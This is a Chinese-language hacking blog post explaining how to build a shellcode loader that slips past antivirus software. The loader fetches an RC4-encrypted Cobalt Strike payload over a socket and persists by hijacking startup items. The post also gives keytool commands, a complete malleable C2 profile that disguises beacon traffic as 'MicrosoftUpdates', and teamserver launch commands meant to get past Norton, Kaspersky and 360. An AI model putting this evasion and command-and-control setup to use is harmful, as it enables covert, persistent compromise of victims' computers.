打造一款Socket型免杀无弹窗的shellcode
- 2020 年 3 月 6 日
- 笔记
写一个 shellcode 带有 socket+rc4 加密跑远端加密后的 cs 的 payload 下载下来后执行。然后利用启动项劫持技术,绕过杀软的启动保护。
再高级一点的话,就是把启动项劫持,改成用 masm 编写超迷你型的 shellcode 装载器,然后插入目标的 PE 空隙中,然后修改 OEP 指向我们的空隙然后执行完 shellcode 后再跳转到入口点。
启动项劫持的原理就是,360 虽然禁止对启动项进行增改,但是删和查是可以的,并且对于启动项 / 服务项中的目标程序并没有进行保护。所以我们可以对启动项的程序进行劫持替换修改都是没问题的。或者不对启动项劫持进行替换,而是找到一个运行中的服务,kill 掉它的进程,然后对服务源程序进行劫持也是可以的。原理都差不多。
至于 payload,有两个方案。
一.可以自己写,难度有点高,可以参考
二进制入门 – 打造 Linux shellcode 基础篇 https://www.cnblogs.com/ichunqiu/p/7273935.html
但是这种东西,一般顶天给你整个下载者。和 cs 那种全部功能纯 shellcode 还是不一样的。你下载者最终还是需要下载的你的二进制文件,达不到 “负载无文件”(不是纯无文件,毕竟你的 shellcode 还是需要的),可能会导致你的马子被检测到。
payload 难主要难在,对于 API 地址的定位,不过一般只要找到 LoadLibrary 的地址,其实还算是好说的啦。
实在不行,直接整个 PELOADER,自建一个 RVA 导入,不过传输 EXE 的话可能会被杀软拦截 emmm,但是都能传 shellcode 了,传个加密的 PE 到内存理论上也是没关系的吧,
二.推荐直接使用 CS或者 MSF,简单粗暴。
最后研究出的代码地址在这里,喜欢记得点个star。
https://github.com/9bie/shellcode

带有直接运行和服务启动效果。
怎么用我懒得说了,只能说不添加 启动的话,至少是能无弹窗过 360 + 主防吧。
目前发现还不能过诺顿,过诺顿其实很简单,如果是CS的话,不用自带的证书即可,自己签发生成证书,然后https监听器上线。
诺顿流量免杀可以参考阅读渣渣辉博客https://www.zzhsec.com/556.html:
原文如下
生成免费的ssl证书,弃用cobaltstrike.store,用自己的zzhsec.store
第一步生成zzhsec.store文件
命令: keytool -genkey -alias zzhsec -keyalg RSA -validity 36500 -keystore zzhsec.store
注意记得-alias后面的参数和-keystore后面的参数后面会用到C2-profile里面 接下来需要输入密码,一定要记得这串密码,后面会用到,不然到时候你需要自己回来重新生成下

然后输入名字,例如:US 然后一步步输入就行

最后这里输入y即可完成

然后再输入一次密码即可
ls查看当前目录就生成好了zzhsec.store文件

keytool具体参数生成可以参考改文章:
https://blog.csdn.net/luoyongsir/article/details/54929288
创建修改C2-profile文件
set sample_name "zzhsec POS Malware"; set sleeptime "5000"; # use a ~30s delay between callbacks set jitter "10"; # throw in a 10% jitter set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0"; #设置证书 https-certificate { set CN "US"; set O "MicrosoftUpdates"; set C "en"; set L "US"; set OU "MicrosoftUpdates"; set ST "US"; set validity "365"; } #设置 code-signer{ set keystore "zzhsec.store"; set password "123.zzhsec!"; set alias "zzhsec"; } #指定DNS beacon不用的时候指定到IP地址 set dns_idle "8.8.4.4"; #每个单独DNS请求前强制睡眠时间 set dns_sleep "0"; #通过DNS上载数据时主机名的最大长度[0-255] set maxdns "235"; http-post { set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php"; client { header "Accept" "text/plain"; header "Accept-Language" "en-us"; header "Accept-Encoding" "text/plain"; header "Content-Type" "application/x-www-form-urlencoded"; id { netbios; parameter "id"; } output { base64; prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data="; print; } } server { output { print; } } } http-get { set uri "/updates"; client { metadata { netbiosu; prepend "user="; header "Cookie"; } } server { header "Content-Type" "text/plain"; output { base64; print; } } }
上面文件对标生成的zzhsec.store即可 比如:
Is CN=US, OU=MicrosoftUpdatess, O=MicrosoftUpdatess, L=US, ST=US, C=en 替换 #设置证书 https-certificate { set CN "US"; set O "MicrosoftUpdatess"; set C "en"; set L "US"; set OU "MicrosoftUpdatess"; set ST "US"; set validity "365"; } ps:注意对应好 以及下面的 #设置 code-signer{ set keystore "zzhsec.store"; set password "123.zzhsec!"; set alias "zzhsec"; } 在上面的生成命令中的alias以及keystore后面的字段对应好 以及输入命令的时候,你输入的密码也需要替换[object Object]

推荐两个Github上的C2-profile
https://github.com/rsmudge/Malleable-C2-Profiles https://github.com/threatexpress/malleable-c2 官方的C2配置文章 https://www.cobaltstrike.com/help-malleable-c2
接下来就是验证C2-profile是否可用了
命令 ./c2lint me.profile
没有出现什么问题就可以了
然后期待teamserver即可
命令 nohup ./teamserver 1.1.1.1 123456 ./me.profile &
然后就可以愉快的去连接了
对了,建议把teamserver的端口改一下

改成一些你用不到的服务端口即可
最后测试了下卡巴斯基的诺顿和360,走https流量
随便你怎么操作,都不拦截,之前的会拦截流量
直接生成exe的话,可能被杀,需要自己简单做一下免杀
我用的powershell上线的,其他的shellcode自己随便搞一搞免杀也是分分钟
推荐阅读: https://xz.aliyun.com/t/2796 https://xz.aliyun.com/t/2239 https://www.chabug.org/web/832.html
参考来源:⑨BIE的博客以及渣渣辉博客
文由Hack学习呀